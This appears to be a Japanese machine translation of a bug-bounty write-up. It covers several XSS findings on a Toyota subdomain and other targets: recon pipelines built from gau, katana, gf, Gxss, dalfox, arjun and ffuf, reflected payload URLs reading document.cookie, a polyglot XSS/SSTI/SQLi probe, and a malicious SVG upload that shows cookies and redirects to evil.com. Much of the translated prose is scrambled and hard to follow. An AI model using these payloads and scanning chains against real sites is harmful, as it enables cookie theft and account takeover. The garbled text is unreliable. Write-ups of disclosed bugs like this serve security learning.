How I Found Multiple XSS Vulnerabilities Using Unknown Techniques から学ぶ

ソース:

medium.com

脆弱性XSS, FileUpload

 

訳:

** XSS脆弱性:

* トヨタの重要な DOM XSS::

$Keys$: 自動化ツール [gau+dalfox+etc..]

 

httpx -l subdomains.txt -o httpx.txt

 

からエンドポイントを収集しましょう 次に、ウェイバック マシン 共通クロール

 

echo "toyota.com" | gau --threads 5 >> Enpoints.txt

cat httpx.txt | katana -jc >> Enpoints.txt

 

 

cat Enpoints.txt | uro >> Endpoints_F.txt


を使用して、これまでの作業をすべて自動化できます 自動スクリプト に使用しているツールを備えた ほとんどのセキュリティ研究者と同じように、プロセスを簡単にするため 。今後の記事で私のスクリプトを共有します。

 

ここで、エンドポイントがたくさんあるので、それらをフィルタリングして機能させる必要があります。 私は、 素晴らしいgf に応じてエンドポイントをフィルタリングする 提供されたパターン ように GitHub から公開されているパターンを使用して ツールを使用しています。たとえば、XSS、SQLi、SSRF などのパターンがあります。この に追加できます。 、「 ~/.gf」 ディレクトリ。 

 

cat Endpoints_F.txt | gf xss >> XSS.txt
# For getting the endpoints that have parameters which may be vulnerable to XSS

 

ツールを使用して、次に、 Gxss 検索しますパラメーター 応答に反映され

 

cat XSS.txt | Gxss -p khXSS -o XSS_Ref.txt

 

このプロセスには 2 つのオプションがあります。1 つ目は手動でテストするか、XSS 自動化ツールを使用して結果を手動で確認することです。 ファイルが大きいので、 Dalfox 自動 XSS スキャナーを使用します。

 

dalfox file XSS_Ref.txt -o Vulnerable_XSS.txt

 

とします。 脆弱なサブドメインがあることがわかりました。sub.toyota.com 何が起こっているのか調べてみましょう。 

 

脆弱な URL [ https://sub.toyota.com /direcrory/ ?dir=%3C%2Fscript%3E%3Cscript%3Econfirm%28document.domain%29%3C%2Fscript%3E ] に移動すると、ポップアップが表示されますメッセージ 

 

 

応答を検索したところ、脆弱なパラメータが URL[ source などのさまざまな Java スクリプト変数に存在すること ] に存在し、「var returnUrl=」、 「var applicationUri=」 がわかりました。 この JavaScript コードを参照すると、アイデアが理解できます。

 

<script>
// Assuming the URL is http://test.com?param=test
var urlParams = new URLSearchParams(window.location.search);
var paramValue = urlParams.get('param');

// This will execute the script tag in the paramValue variable
document.write(paramValue)
</script>
// If you look at the code, You will see that the value added to the parameter without any sanitization.

 

次の URL を送信して、ターゲットに Cookie に対する保護があるかどうかを確認してみましょう。 [ https://sub.toyota.com < /direcrory/ ?dir=%3C%2Fscript%3E%3Cscript%3Econfirm%28document.cookie%29%3C%2Fscript%3E

 

 

残念ながら ]に対して完全なアカウントの乗っ取りを実行できることを意味します 、これは、任意のユーザー [ RXSS 。 私は脆弱性を詳細に報告し、受け入れられました 🙂。 

 

 

* バグ報奨金プログラム ($$$) に中程度の XSS が反映されました::

$Keys$: 隠しパラメータ 手動テスト

 

偵察を行い、 targets.com ですべての関連情報を収集した後、エンドポイントを収集しました。 ]で非常に興味深いエンドポイントを発見しました [ https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php 。 これにより、次のページが得られました。 

 

 

 

 

ツールでカスタム ワードリストを使用して、dirsearch ベース URL と他のエンドポイントをファジングしました。 

 

dirsearch -u https://tst2.dev.targets.com/ -w wordlist.txt -e php,cgi,htm,html,shtm,shtml,js,txt --random-agent
# (-u) for the target && (-w) for custom wordlist that would be used with the tool && (-e) different extesions that would be used with the tool && (--random-agent) to change the user agents for requests

 

しかし、重要なことは何も得られませんでした。でも、 待ってください 。隠しパラメータはどうなるのでしょうか ? をスキャンしましょう を使用して、[ https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php ] Arjun ツール またはparam miner 拡張機能 URL のファジングに使用される 有効なクエリを見つけるために GET、POST、JSONXML などのさまざまなリクエストを使用します。 

 

arjun -u https://tst2.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php -m GET -w Parameters_Fuzz.txt
# (-u) for our target && (-m GET) sending requests using the GET method && (-w) for custom wordlist that would be used with the tool

 

レスポンス

 

 

 

これで終わりではありません:) サブドメインを集めたときに私が行ったことです。
そのようなものを見つけたら、サブサブドメインが同じバグに対して脆弱かどうかを確認してください。
これは、[ *.dev.targets] .com
見つけました ] で、脆弱なサブドメインを 4 つほど が、それらを報告したところ、トリアージ チームはそれらを 1 つの脆弱性として受け入れ、最終的に報奨 を受け取りました🙂。 

 

 

ツールを使用すると、次のよう : ffuf にしてサブドメインを完全な URL でファジングできます

 

ffuf -u "https://FUZZ.dev.targets.com/cgi-bin/fr.cfg/php/custom/id-pass.php?auth_status=%3CsCriPt%3Econfirm%28documen.cookie%29%3C%2FScRipt%3E" -w subdomains.txt -c -v

 

* SVG ファイルのアップロードによる高度に保存された XSS:

$keys$: ファイルのアップロード — 手動テスト。

 

"><img src=x onerror=alert(document.domain)>{{7*7}}'
<!--> If you looked for the previous payload you will find that it was testing for differeent vulnerabilites like [img tag for tesing for XSS. also you can use your XSS hunter payload] - [{{7*7}} for testing for SSTI] - [' for testing for SQLi]<-->

 

すべての空の入力を入力するまでは、脆弱性があるかどうかを確認できないため、完了しましょう。
ただし 、ユーザー名には悪意のある単語に対するセキュリティが設定されているため、それはできません。
ペイロードの変更、コンテンツのエンコードなど、さまざまな手法で操作できますが、すべての入力に同じ保護があるかどうかを見てみましょう。
組織フィールドには、 組織名、住所、国など、 入力する項目が複数あります。 ペイロード組織名に追加したとき。

 

 

 

 

に焦点を当てます の[ファイル アップロード 機能] フィールド 多くのことをテストする必要があるため、ここで終了しませんでしたが、リレーションシップ フォーム

 

ファイル アップロードの脆弱性のテストを開始するとき。 多くのことを行う必要があるため、ファイル アップロードの脆弱性に関するテクニックのほとんどについては、次の投稿を読むことをお勧めします 。 に焦点を当てます ただし、ここではSVG ファイル 。 

 

 

<svg width="200" height="100" xmlns="http://www.w3.org/2000/svg">
<rect x="20" y="20" width="160" height="60" fill="blue" />
</svg>
<!-->SVG file for creating a rectangle with a blue color<-->

 

 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("You have been hacked !! " + "\n" + "Domain: " + document.domain + "\n" + "Cookie: " + document.cookie );
window.location.href="https://evil.com"
</script>
</svg>

 

 

 

 

 

 

 

 

 

* 未知の技術を使用した XSS:

$keys$: robots.txt — ユーザーエージェント — Burp スイート。

 

 

 

 

 

 

 

に移動し、 一致および置換 ) に置き換えて ユーザー エージェントを 新しいもの ( Mediapartners-Google 、すべてのリクエストをインターセプトします。 

 

 

 



 

// It is just a simple example of Java Script code not the actual code
<html>
<body>
<p>This <span id="exampleElement"></span></p>
</body>
<script>
// Get the User-Agent value from the request
var userAgent = navigator.userAgent;

// Check if the User-Agent value is "Mediapartners-Google"
if (userAgent.indexOf("Mediapartners-Google") !== -1) {
// Assuming the URL is https://targets.com/bundle//
var userInput = window.location.pathname.split("/")[2];
document.getElementById("exampleElement").innerHTML = userInput;
}
</script>
</html>


報告したときのこと。 サブドメインが対象外なので受け付けませんでしたが、未知の技術なので気にせず、得たものは残さず頑張ってくださいと言いたかったのです。 

 

ほなほな。